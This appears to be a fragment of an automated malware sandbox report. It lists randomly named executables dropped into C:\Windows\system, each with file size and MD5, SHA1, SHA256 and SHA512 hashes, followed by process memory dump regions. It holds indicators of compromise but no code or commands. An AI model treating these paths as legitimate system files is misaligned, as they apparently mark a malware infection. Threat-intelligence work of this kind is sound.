e04081f273dcf78a195639c72c3a6137fd56286cd993fcf96e1ed25066e02e2a89d24a994c90cba775f0f058351268095bbf939b5e891211d295546432f9f55b

Download Submit
C:\Windows\system\qfrbeZx.exe

Filesize
1.9MB

MD5
3954a6a1338d1b243e810acb71d5238a

SHA1
ddb0a446166f370933a58116f27261c28bcb9e49

SHA256
ce539e0b53151d1926b8ea578d01eddedb6ab7cbff1691ca1e55973d38bf304a

SHA512
085835aa7bed73308c7c5d46d6285d0fc118647be27b842714a5e10b37d5ed5abddbbee18cdb94e70c85404c0133f7f518f9d0d79bb0122273a1d48989e44798

Download Submit
C:\Windows\system\rTmHhAk.exe

Filesize
1.9MB

MD5
7fc7c3da0c7e527444d81a2cdaa45e25

SHA1
b6b7b8add5555e48ef616540e9376ca6339def0e

SHA256
e15739cd4d2bad4e944a7ea3dbde5432e67ae71339068c9b612854f3d5ed02e2

SHA512
984c66b60bebb844dcb84dd5a102e758bcd47c7c996e320b8d5d10a3462028e45c9db0b577eac82e0679b26dd7e18638b3fa5c8d979f02651c3a5118a4396c03

Download Submit
C:\Windows\system\sZPncbp.exe

Filesize
1.9MB

MD5
2dc19eb3cd5eba32b33841387c406683

SHA1
32774a57e977764c07ee87e55b79d8e205580830

SHA256
ad3241a8888518a83db7beee774d5749dc0fc676e1f90808c996f3a5d326c095

SHA512
c750347b6d7a0e2e132667265d737c57bf6f054b7bc42724cbd71fda139b0cbee322a34bf37d821a7f93aabfb1fc4cc363ac021f7a200298f64f5ea4d0ee7fbb

Download Submit
C:\Windows\system\uZgdxus.exe

Filesize
1.9MB

MD5
4626b6c050c93cb6b02fccaf0db26472

SHA1
a3dfc08c735857fe71d687444b65eebe23178f4b

SHA256
cf8c4827350bc7aeb1f484f192fbb06a939e0a439c6edd4f08f1bbc165b5dbf1

SHA512
3f0a6c6080fd02e60a3d8c894b5af7e305df2dce546ca441930759ffc2e7154c330b748a92026c5febb8ea62adf5f832540023770e7236d87e23edaf67bd2a24

Download Submit
C:\Windows\system\vyNLotS.exe

Filesize
1.9MB

MD5
ef72be3c7089529545bd52e9caa72580

SHA1
6e2491c9c895eacac515916defc0588d6a77fad0

SHA256
2b4e07ea364fe2a14a1296dee622cef5a93ae0d20c33a0c339d747102503d0ab

SHA512
c5265aee64780b0abf09a43505ef13b9c672bb619c72b06f1d0f35f9d90482d34f99b766ed1fa14a82cbc853f4a38a5d0ca0a82bb9544c8730313e3bc3a76160

Download Submit
\Windows\system\CrcUPMr.exe

Filesize
1.9MB

MD5
1f62efdd73f153ef4c2b65922999a82c

SHA1
62523638eec4df1d6d358cc02f92abad354ebcae

SHA256
6e2649dc9c6a5a59f23fad75ff32e864a0e7f1d131a10be21945ba48896e0ebf

SHA512
d8a8e34975509d11f7f5007f64e448e3ad1a8982b32f6e401acf16ba7056f13019878c8f3fc774477489b1b656a66e969fef08baf1ff12b0b05e925f457f3021

Download Submit
\Windows\system\JTgEJKU.exe

Filesize
1.9MB

MD5
de1fe2766118723c5df7e51ca9e7965b

SHA1
d8b86a0daf4db3204d65b0efbdeaa8148223b103

SHA256
36903f764f22c016de1e744d9bdfe54f636889fa5c6194165e555f605956b771

SHA512
325eda846606eb6c5bb52b7161c40dbc3bdd047521ff3b3e213b50e9bdd3e47a798e5298cb0ce83305cadc1cf85bb6036fada10052d8946b408c0b64d223f2bf

Download Submit
\Windows\system\PVPiDiJ.exe

Filesize
1.9MB

MD5
be5afa019362d23fd40d3b0ea3c95291

SHA1
d2dabe3d77d7fe0f1b530aa9effbbcec9f0d5a90

SHA256
0c07bfeef4f546f6301aaaa70d774f0d78add781d75dda3360ac04d44644e9cb

SHA512
8282620b16a21b9cc0255b7dbfb91755feb70a4761f74fd1ee670761825d10882a96875fd51c5f75fc5e174134cca8cf07cf2192e3d11c7c22df7ea7da0ea01a

Download Submit
\Windows\system\PoplFdH.exe

Filesize
1.9MB

MD5
2e79856d7e25b325425b374ff8e40dd6

SHA1
ba309967b214bddd22aeff215886974df31baf3f

SHA256
e16352a70696e657046754c3206701c63174dbce78e873b6ad4163a904a0d469

SHA512
bde4c0ff8b71a6d0987302ad139188d0b9c9578fb9f527a2b1c843efa7e51f8532b291d15a3492e98cc7f57d1c302ae4f37ea7313c962c1db78300578fdd7bd4

Download Submit
\Windows\system\RnuwNTy.exe

Filesize
1.9MB

MD5
00ecdd71ea79a9dd93ad88e43c37c58b

SHA1
c8314c9fa0d89b3bc68a136248117af5c731f0d7

SHA256
f88c69937f22b1b55df38be6b4386c8ee5bd5e890608305729fa0e8c0af27f53

SHA512
5d25e606e2aa0f8e3c879d38e692d48b5705a719486cb2a912c8cf2cc85888974c1d9a52bb9be9d0b963d8c9a3af17aa92f55f2f540942f9f9af7720350f4b1b

Download Submit
\Windows\system\ZffZmMR.exe

Filesize
1.9MB

MD5
896fcda7e73f5dd6aea5858114bf8db6

SHA1
ac23f26e7e8b9729df37b086ec638ecb445ed4c3

SHA256
981042d993fc6109e20aa9aab599771c194b5160f1d37934eb26786b11ff979e

SHA512
3852fe1684cc7a6e2421297a26ed9de1a00b783456db05ce90ddafb5a1383fc10cca9899ab4a878b33ece180acf6ffdaaf6c600011ec1212319385e38084e7f1

Download Submit
\Windows\system\kdqeFGZ.exe

Filesize
1.9MB

MD5
05e24676b16512c804d14cd8bee42eeb

SHA1
56ef7ddd0bdb1621c8f49622c46d2f9258821532

SHA256
2071a6ba677466436d567781bb216d019db2e1976641c5bef51b84b2d0e163dc

SHA512
81821f5133ace5c36a5fa81cb38881de39ce66dbbcb30881313e34defdee30b1a0a27cc04accc7fe1d7ddc6de12b9252f39a2e582fa8d9899a9caf97091d8559

Download Submit
\Windows\system\szCPvAE.exe

Filesize
1.9MB

MD5
617827b69e2ec02709f110840e07ecbc

SHA1
f1ce9d3d272b9b7ffb3758b605d907ce76cb68f4

SHA256
e4f08787aa148ed94f6d75a094730c3529051a0bc9f9212fb376b43d8c36fc41

SHA512
67bc044b29e299cb3d8f84b866b12c938549b45c155821e5069471f796cee93d9fd9ef26e4b66490a33f8f61bcc848c5e553bd74f19e5af2cfdb665900158f55

Download Submit
\Windows\system\wurtnGM.exe

Filesize
1.9MB

MD5
09c2bba626654c8621db3c0ada0ab817

SHA1
d94aee790fcc3d1ec903d9a95dbf5375090b4b99

SHA256
961997b1b3b36064656e80b8ddd1a89142da6cca8c4b3d3a4d932342be4446d5

SHA512
d58889d5a4bbc67c3a8fc4f0d6dcbeadb12d6127567c7a83150f07a36d0fe1ca05f33ace6386f953845acca1a270667fd0b65f3ac674857aef835406dd864387

Download Submit
\Windows\system\ydtgYuu.exe

Filesize
1.9MB

MD5
c6bd8513fcf163f374c3a5017cd51e4f

SHA1
07c9e2b8d0f1d79b7a87e85e5ce5376f8c5679a2

SHA256
36716da1e2bd4472634f8b98220dfbc1f4ebbb1ed04b9982c876b1aef7d196b4

SHA512
362fe1571ab8343a309ea4356e5ac9cccfb12ad4485c2af88d19965bc574d980298a55b245a4a6a044ab8811979e5c96862380b0c35b322e2c5613b308aecfa0

Download Submit
\Windows\system\yxVxyAk.exe

Filesize
1.9MB

MD5
58b05611173e4ff4ef69492a7384fba8

SHA1
eb28a5dcaf0c92b0526942b3510b10d0846aafba

SHA256
00472cc15aedfbc5bc83a57686318364d1a7630cf4d01f170141e9346e20e4e0

SHA512
5c6cdcafe1f8d979a5d8a02c251c3cbc38783fddcc6629545c0aa207aca33e3acbe4351441d6862d489d0f02e9a3312800cb61c44a0dce7468fd29db62e6fa5d

Download Submit
memory/1344-113-0x000000013FD00000-0x00000001400F2000-memory.dmp

Filesize
3.9MB

Download
memory/1344-4854-0x000000013FD00000-0x00000001400F2000-memory.dmp

Filesize
3.9MB

Download
memory/1648-40-0x000000013FB40000-0x000000013FF32000-memory.dmp

Filesize
3.9MB

Download
memory/1648-0-0x00000000001F0000-0x0000000000200000-memory.dmp

Filesize
64KB

Download
memory/1648-14-0x000000013F2C0000-0x000000013F6B2000-memory.dmp

Filesize
3.9MB

Download
memory/1648-46-0x000000013FE10000-0x0000000140202000-memory.dmp

Filesize
3.9MB

Download
memory/1648-38-0x000000013FDC0000-0x00000001401B2000-memory.dmp

Filesize
3.9MB

Download
memory/1648-36-0x0000000003050000-0x0000000003442000-memory.dmp

Filesize
3.9MB

Download
memory/1648-84-0x0000000003050000-0x0000000003442000-memory.dmp

Filesize
3.9MB

Download
memory/1648-29-0x0000000002EA0000-0x0000000003292000-memory.dmp

Filesize
3.9MB

Download
memory/1648-44-0x0000000003050000-0x0000000003442000-memory.dmp

Filesize
3.9MB

Download
memory/1648-45-0x0000000002EA0000-0x0000000003292000-memory.dmp

Filesize
3.9MB

Download
memory/1648-140-0x000000013F7E0000-0x000000013FBD2000-memory.dmp

Filesize
3.9MB

Download
memory/1648-1720-0x000000013F2C0000-0x000000013F6B2000-memory.dmp

Filesize
3.9MB

Download
memory/1648-115-0x000000013FAB0000-0x000000013FEA2000-memory.dmp

Filesize
3.9MB

Download
memory/2224-5005-0x000000013FB40000-0x000000013FF32000-memory.dmp

Filesize
3.9MB

Download
memory/2224-43-0x000000013FB40000-0x000000013FF32000-memory.dmp

Filesize
3.9MB

Download
memory/2584-122-0x000000001B520000-0x000000001B802000-memory.dmp

Filesize
2.9MB

Download
memory/2584-151-0x0000000001DA0000-0x0000000001DA8000-memory.dmp

Filesize
32KB

Download
memory/2632-26-0x000000013F250000-0x000000013F642000-memory.dmp

Filesize
3.9MB

Download
memory/2632-4979-0x000000013F250000-0x000000013F642000-memory.dmp

Filesize
3.9MB

Download
memory/2656-48-0x000000013F150000-0x000000013F542000-memory.dmp

Filesize
3.9MB

Download
memory/2656-5163-0x000000013F150000-0x000000013F542000-memory.dmp

Filesize
3.9MB

Download
memory/2696-34-0x000000013F470000-0x000000013F862000-memory.dmp

Filesize
3.9MB

Download
memory/2696-5025-0x000000013F470000-0x000000013F862000-memory.dmp

Filesize
3.9MB

Download
memory/2756-47-0x000000013FDC0000-0x00000001401B2000-memory.dmp

Filesize
3.9MB

Download
memory/2756-4858-0x000000013FDC0000-0x00000001401B2000-memory.dmp

Filesize
3.9MB

Download
memory/2848-53-0x000000013FE10000-0x0000000140202000-memory.dmp

Filesize
3.9MB

Download
memory/2884-42-0x000000013F460000-0x000000013F852000-memory.dmp

Filesize
3.9MB

Download
memory/2884-5004-0x000000013F460000-0x000000013F852000-memory.dmp

Filesize
3.9MB

Download